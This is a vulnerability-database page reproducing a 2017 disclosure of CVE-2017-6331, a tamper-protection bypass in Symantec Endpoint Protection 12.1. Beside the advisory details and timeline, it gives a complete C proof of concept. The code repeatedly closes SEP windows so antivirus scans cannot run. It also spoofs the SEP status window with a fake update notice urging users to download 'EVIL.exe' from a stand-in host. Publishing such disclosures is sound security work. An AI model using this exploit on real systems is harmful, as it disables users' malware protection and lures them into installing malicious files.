Lucene search
K

Symantec Endpoint Protection v12.1 / Tamper-Protection Bypass Exploit

🗓️ 12 Nov 2017 00:00:00Reported by hyp3rlinxType 
zdt
 zdt
🔗 0day.today👁 63 Views

Symantec EP v12.1 Tamper-Protection Bypass Exploit, Denial of Service, Spoof Messages, WinAPI Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2017-6331
10 Nov 201700:00
circl
CNVD
Symantec Endpoint Protection Tamper Protection Bypass Vulnerability
7 Nov 201700:00
cnvd
CVE
CVE-2017-6331
6 Nov 201723:00
cve
Cvelist
CVE-2017-6331
6 Nov 201723:00
cvelist
Exploit DB
Symantec Endpoint Protection 12.1 - Tamper-Protection Bypass
10 Nov 201700:00
exploitdb
EUVD
EUVD-2017-15392
7 Oct 202500:30
euvd
exploitpack
Symantec Endpoint Protection 12.1 - Tamper-Protection Bypass
10 Nov 201700:00
exploitpack
NVD
CVE-2017-6331
6 Nov 201723:29
nvd
OpenVAS
Symantec Endpoint Protection Security Bypass Vulnerability (SYM17-011)
8 Nov 201700:00
openvas
Packet Storm
Symantec Endpoint Protection 12.1.6 Tamper Protection Bypass
12 Nov 201700:00
packetstorm
Rows per page
[+] Credits: John Page a.k.a hyp3rlinx	

Vendor:
=======
www.symantec.com

Product:
===========
Symantec Endpoint Protection
v12.1.6 (12.1 RU6 MP5) 
Symantec 12.1.7004.6500 


Vulnerability Type:
===================
Tamper-Protection Bypass
Denial Of Service / Message Spoof


CVE Reference:
==============
CVE-2017-6331


Security Issue:
================
Symantec Endpoint Protection (SEP), does not validate where WinAPI messages comes from (lack of UIPI).
Therefore, malware can easily spoof messages to the UI or send WM_SYSCOMMAND to close
the SEP UI denying end user ability to scan / run the EP AntiVirus protection. Spoofed messages could
also potentially inform a user a scan was clean.

Unfortunately Symantecs advisory left out details of the Denial Of Service as well as minimizing the
amount of text a malware could inject into the UI which would result in compromising the integrity of the
Symantec Endpoint Protection Control Panel user interface. 


References:
===========
https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20171106_00
 


Exploit/POC:
============= 

1) Compile below C program, it targets various components of SEP, comment out what you want to send to the UI.

2) Try to open the Symantec Endpoint UI and you will be denied.
3) Or inject attacker supplied messages intructing the user the file is clean etc.


#include <windows.h>
#include <Tlhelp32.h>
#define VICTIM "DevViewer.exe"

//By HYP3RLINX
//ISR: ApparitionSec
//Symantec EP Protection - Tamper Protection Bypass Vulnerability
//Tested successfully on Symantec 12.1.6 (12.1 RU6 MP5) build 7004 Symantec 12.1.7004.6500 Windows 7 
//How: FindWindow / SendMessage Win32 API 
//Impact: DOS / Integrity Compromised
//TO-DO: Get Window text for SavUI.exe and DOS to prevent AV scans.

void main(void){
 
   while(1){
            
   HWND hWnd = FindWindow( NULL, TEXT("Status - Symantec Endpoint Protection"));
   
   if(hWnd!=NULL){
     //This injects arbitrary messages to SEP UI.
     SetWindowText(hWnd, "*** Important Security Update, Visit: http://PWN3D.com/EVIL.exe download and follow instructions. ***");
     //This prevents a user from being able to run AV scans and renders SEP UI useless
    //SendMessage(hWnd, WM_SYSCOMMAND, SC_CLOSE, 0);   
   }  
   
   //HWND savUI = FindWindowEx(0, 0, "Symantec Endpoint Protection", 0);
   
   HWND x = FindWindow(NULL, TEXT("DevViewer"));
   if(x!=NULL){
     SendMessage(x, WM_SYSCOMMAND, SC_CLOSE, 0);   
  }
  
   HWND x2 = FindWindow(NULL, TEXT("DoScan Help"));
   SendMessage(x2, WM_SYSCOMMAND, SC_CLOSE, 0); 

   HWND x3 = FindWindow(NULL, TEXT("Sylink Drop"));
   SendMessage(x3, WM_SYSCOMMAND, SC_CLOSE, 0);  
   
  HWND x4 = FindWindow(NULL, TEXT("Manual Scan started on 7/8/2016"));
   if(x!=NULL){
     SendMessage(x4, WM_SYSCOMMAND, SC_CLOSE, 0);   
  }
  
   sleep(1);
   
   }  
}


Network Access:
===============
Local




Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification: July 8, 2016
Vendor acknowledged: 7/14/16
Vendor advisory : November 6, 2017
November 10, 2017  : Public Disclosure

#  0day.today [2018-03-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation